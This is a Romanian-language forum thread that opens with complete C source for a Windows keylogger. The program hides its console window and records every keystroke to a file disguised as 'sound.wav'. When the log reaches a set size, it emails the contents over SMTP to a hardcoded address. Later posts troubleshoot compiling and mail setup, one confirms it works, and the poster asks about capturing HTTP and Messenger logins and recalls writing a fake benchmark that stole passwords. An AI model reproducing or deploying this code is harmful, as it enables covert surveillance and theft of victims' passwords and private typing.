scimitar Posted February 19, 2008 Report Posted February 19, 2008 /*Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like: Linker error] undefined reference to `WSAStartup@8'Add this: -lws2_32to Tools->Compiler Options under the section on compile flags.*/#include <windows.h>#include <stdio.h>#include <winuser.h>#include <windowsx.h>#include <time.h>int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage);#define BUFSIZE 800#define waittime 500/*If you don't know the mail exchange server for an address for the following "nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for whatever email address you want. YOU MUST CHANGE THESE SETTINGS ORIT WILL NOT WORK!!! */#define cmailserver "gmail-smtp-in.l.google.com"#define cemailto "irong33k@gmail.com"#define cemailfrom "irong33k@gmail.com"#define LogLength 100#define FileName "sound.wav"#define SMTPLog "ring.wav"#define cemailsubject "Logged"int test_key(void);int main(void){ //Uncomment the lines below to put the keylogger in stealh mode. HWND stealth; /*creating stealth */ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); {FILE *file; file=fopen(FileName,"a+"); time_t theTime=time(0); fputs("\nStarted logging: ", file); fputs(ctime(&theTime),file); fclose(file); } /* if (test==2) {//the path in which the file needs to be char *path="c:\\%windir%\\svchost.exe"; create=create_key(path); } */ int t=get_keys(); return t;} int get_keys(void){int freadindex;char *buf;long len;FILE *file;file=fopen(FileName,"a+"); short character; while(1) { sleep(10);/*to prevent 100% cpu usage*/ for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen(FileName,"a+"); if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,file); fclose(file); break; } else { switch(character) { case VK_SPACE: fputc(' ',file); fclose(file); break; case VK_SHIFT: fputs("\r\n[SHIFT]\r\n",file); fclose(file); break; case VK_RETURN: fputs("\r\n[ENTER]\r\n",file); fclose(file); break; case VK_BACK: fputs("\r\n[BACKSPACE]\r\n",file); fclose(file); break; case VK_TAB: fputs("\r\n[TAB]\r\n",file); fclose(file); break; case VK_CONTROL: fputs("\r\n[CTRL]\r\n",file); fclose(file); break; case VK_DELETE: fputs("\r\n[DEL]\r\n",file); fclose(file); break; case VK_OEM_1: fputs("\r\n[;:]\r\n",file); fclose(file); break; case VK_OEM_2: fputs("\r\n[/?]\r\n",file); fclose(file); break; case VK_OEM_3: fputs("\r\n[`~]\r\n",file); fclose(file); break; case VK_OEM_4: fputs("\r\n[ [{ ]\r\n",file); fclose(file); break; case VK_OEM_5: fputs("\r\n[\\|]\r\n",file); fclose(file); break; case VK_OEM_6: fputs("\r\n[ ]} ]\r\n",file); fclose(file); break; case VK_OEM_7: fputs("\r\n['\"]\r\n",file); fclose(file); break; case 187: fputc('+',file); fclose(file); break; case 188: fputc(',',file); fclose(file); break; case 189: fputc('-',file); fclose(file); break; case 190: fputc('.',file); fclose(file); break; case VK_NUMPAD0: fputc('0',file); fclose(file); break; case VK_NUMPAD1: fputc('1',file); fclose(file); break; case VK_NUMPAD2: fputc('2',file); fclose(file); break; case VK_NUMPAD3: fputc('3',file); fclose(file); break; case VK_NUMPAD4: fputc('4',file); fclose(file); break; case VK_NUMPAD5: fputc('5',file); fclose(file); break; case VK_NUMPAD6: fputc('6',file); fclose(file); break; case VK_NUMPAD7: fputc('7',file); fclose(file); break; case VK_NUMPAD8: fputc('8',file); fclose(file); break; case VK_NUMPAD9: fputc('9',file); fclose(file); break; case VK_CAPITAL: fputs("\r\n[CAPS LOCK]\r\n",file); fclose(file); break; default: fclose(file); break; } } } } } FILE *file; file=fopen(FileName,"rb"); fseek(file,0,SEEK_END); //go to end len=ftell(file); //get position at end (length) if(len>=LogLength) { fseek(file,0,SEEK_SET);//go to beg. buf=(char *)malloc(len);//malloc buffer freadindex=fread(buf,1,len,file);//read into buffer buf[freadindex] = '\0';//Extra bit I have to add to make it a sting MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf); fclose(file); file=fopen(FileName,"w"); } fclose(file); //free (buf); } return EXIT_SUCCESS; }int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage) { SOCKET sockfd; WSADATA wsaData; FILE *smtpfile; #define bufsize 300 int bytes_sent; /* Sock FD */ int err; struct hostent *host; /* info from gethostbyname */ struct sockaddr_in dest_addr; /* Host Address */ char line[1000]; char *Rec_Buf = (char*) malloc(bufsize+1); smtpfile=fopen(SMTPLog,"a+"); if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) { fputs("WSAStartup failed",smtpfile); WSACleanup(); return -1; } if ( (host=gethostbyname(mailserver)) == NULL) { perror("gethostbyname"); exit(1); } memset(&dest_addr,0,sizeof(dest_addr)); memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length); /* Prepare dest_addr */ dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */ dest_addr.sin_port= htons(25); /* PORT defined above */ /* Get socket */ if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { perror("socket"); exit(1); } /* Connect !*/ fputs("Connecting....\n",smtpfile); if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){ perror("connect"); exit(1); } sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"helo me.somepalace.com\n"); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"MAIL FROM:<"); strncat(line,emailfrom,strlen(emailfrom)); strncat(line,">\n",3); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"RCPT TO:<"); strncat(line,emailto,strlen(emailto)); strncat(line,">\n",3); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"DATA\n"); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); sleep(waittime); strcpy(line,"To:"); strcat(line,emailto); strcat(line,"\n"); strcat(line,"From:"); strcat(line,emailfrom); strcat(line,"\n"); strcat(line,"Subject:"); strcat(line,emailsubject); strcat(line,"\n"); strcat(line,emailmessage); strcat(line,"\r\n.\r\n"); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"quit\n"); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); fclose(smtpfile); #ifdef WIN32 closesocket(sockfd); WSACleanup(); #else close(sockfd); #endif}la naiba, l-am laut de aici irongeek.com|i.php?page=security|keyloggere frumos ca e in c inteleg si eu ce se intampla.de cand caut cum sa trimit mail din C.... de pe vremea cand imi facusem un alg care sub falsa imagine a unui benchmarker scria intr-un fis, pe langa rezultatul testelor si id si pass criptat din regisitri... pe vremea messen 7. eheh...sper sa imi reuseasca compilarea... :? Quote
Vhaerun Posted February 19, 2008 Report Posted February 19, 2008 Daca tot ai postat ( nu inteleg de ce , dar na ) , fii bun si explica linie cu linie :evil: . Mai vine un post . Quote
scimitar Posted February 20, 2008 Author Report Posted February 20, 2008 hai ca esti tare!!!pai sa vedem, daca ai stii ceva C ti-ai da seama singur, daca nu si chiar vrei sa te luminezi pune mana pe o carte de C++ de incepatori ( chiar si manuale de scoala , sunt mai usoare ) si invata... ( eu unu in a9-a stiam mare parte din ce era in manual) asa si ia-ti culegeri si fa exercitii ( culegerile mai au si probmele rezolvate care te ajuta ff mult ) si cand ajungi sa te obisnuiesti ff bine cu analogiile care se fac pt "traducerea" unui algoritm din situatie relea in cod... o sa fii mai luminat. la sc nu inveti cine site ce, dar este BAZA. intrebari de zone de cod daca ai poate pot sa te ajut sau poate te ajuta altii.sau poti sa foloseti fuctii ale lui in alte prog facute de tine, ca exemplu sau chiar sursa de inspiratie Quote
scimitar Posted February 20, 2008 Author Report Posted February 20, 2008 vai scuze, nu mi-am dat seama Quote
divinitypower Posted February 27, 2008 Report Posted February 27, 2008 destul de faina programarea,dar unde zici ca gasesc cartea aia? Quote
amprenta Posted February 27, 2008 Report Posted February 27, 2008 Nu mai folosi expresii de genu "la naiba " pentru ca s-ar putea interpreta cu placere de unii admini de pe aici Quote
MadAgent Posted February 27, 2008 Report Posted February 27, 2008 destul de faina programarea,dar unde zici ca gasesc cartea aia?la librarie:) pe net... chiar si la biblioteca... (depinde de biblioteca) Quote
scimitar Posted May 4, 2008 Author Report Posted May 4, 2008 compilat direct la mine nu a mers... vad ca nu a fost nimeni curios sa-l incerce... unele chestii pe care nu am reusit sa le fac sa mearga in bc 50...app. se poate ca alg sa stie cand useru e pe o fereasta anume... ma gandeam sa aiba o subfunctie care sa indentifice login-uri pe http... mess ??am vazut intr-un exempli video un keyg care facea astea , dar nu era despre programare:(app.2 ( a3-a editare) rog ajutor la partea cu trimisu email-lului... sunt un pic pe dinafara sau poate nu am avut prea multa rabdare...alte metode de indentificat tastele? Quote
rechim Posted May 6, 2008 Report Posted May 6, 2008 poti incerca caractere ASCII... cred... nu mam uitat prea mult peste codul sursa... k mi cam lene ... las k o sa incerc Quote
puskin Posted May 7, 2008 Report Posted May 7, 2008 in primul rand nu ai sa reusesti niciodata folosind gmail-ul cauta un smtp normal .... Quote
loki Posted May 7, 2008 Report Posted May 7, 2008 in primul rand nu ai sa reusesti niciodata folosind gmail-ul cauta un smtp normal ....ar trebui sa mearga numai ca trebuie sa iti faci un cont de mail acolo si sa configurezi corect smtp, user, parola etc. Se va comporta asemeni outlook-ului. Nu stiu, poate e mai greu de setat totul ca in outlook.Daca senderul e pe erdeesh (nu stiu daca obligatoriu) se poate folosi chiar smtp.rdslink.ro Au trimis ei un mail recent dupa ce au blocat trimiterea mailurilor de pe compuri personale. Quote
m32mark Posted November 15, 2009 Report Posted November 15, 2009 e interesant codu', problema mea e ca imi da eroare cand compilez la linkeditare (la functia de trimitere pe mail, in rest e ok) daca cineva a reusit sa il faca sa functioneze as fi recunoscator daca mi-ar zice cum a reusit sau cim l-a configurat (smtp, port etc) sau o alta modalitate de trimitere. m-am mai gandit si la un fiser .bat care sa fie apelat de fctia system() si acesta sa trimita, dar nu e cea mai eleganta profesionista metoda.Idei??? Mersi.compilator folosit - wxDevC++ Quote
micutzucds Posted December 23, 2009 Report Posted December 23, 2009 Compliat cu Dev-C++_65296 si MinGW-5.1.6 merge perfect tre doar schimbat sleep cu Sleep atat bafta Quote